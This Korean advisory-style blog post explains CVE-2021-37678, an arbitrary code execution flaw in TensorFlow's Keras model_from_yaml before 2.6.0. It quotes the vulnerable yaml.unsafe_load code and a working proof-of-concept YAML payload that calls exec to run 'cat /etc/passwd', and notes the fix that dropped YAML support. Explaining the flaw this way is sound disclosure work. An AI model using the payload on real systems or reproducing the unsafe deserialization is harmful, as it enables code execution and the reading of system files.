[하루한줄] CVE-2021-37678: Google TensorFlow의 임의 코드 실행 취약점과 YAML 지원 중단

URL

Arbitrary code execution due to YAML deserialization

Target

  • Google TensorFlow < 2.6.0

Explain

TensorFlow는 머신러닝을 지원하는 Google의 오픈소스 플랫폼입니다. TensorFlow의 yaml 지원 모듈에서 역직렬화 취약점으로 인한 임의 코드 실행 취약점이 발견되었고 해당 취약점은 CVE-2021-37678로 명명되었습니다.

TensorFlow의 Keras 모델 model_from_yaml 함수는 yaml 파일을 로드해 역직렬화를 수행합니다.

@keras_export('keras.models.model_from_yaml')
def model_from_yaml(yaml_string, custom_objects=None):
  if yaml is None:
    raise ImportError('Requires yaml module installed (`pip install pyyaml`).')
  try:
    # PyYAML 5.x+
    config = yaml.unsafe_load(yaml_string)
  except AttributeError:
    config = yaml.load(yaml_string)
  from tensorflow.python.keras.layers import deserialize  # pylint: disable=g-import-not-at-top
  return deserialize(config, custom_objects=custom_objects)

해당 함수에서 로드하는 yaml에 대한 검증이 부족해 이를 악용하면 아래 cat /etc/passwd를 포함하는 페이로드를 model_from_yaml 함수의 매개변수로 전달해 실행하는 PoC와 같이 임의의 코드를 실행할 수 있습니다.

from tensorflow.keras import models

payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''
  
models.model_from_yaml(payload)

Google은 해당 취약점을 수정하는 커밋에서 YAML 지원을 중단하고 패치를 2.6.0에서 릴리즈함과 동시에 이전 버전에도 backporting 하겠다고 밝혔습니다.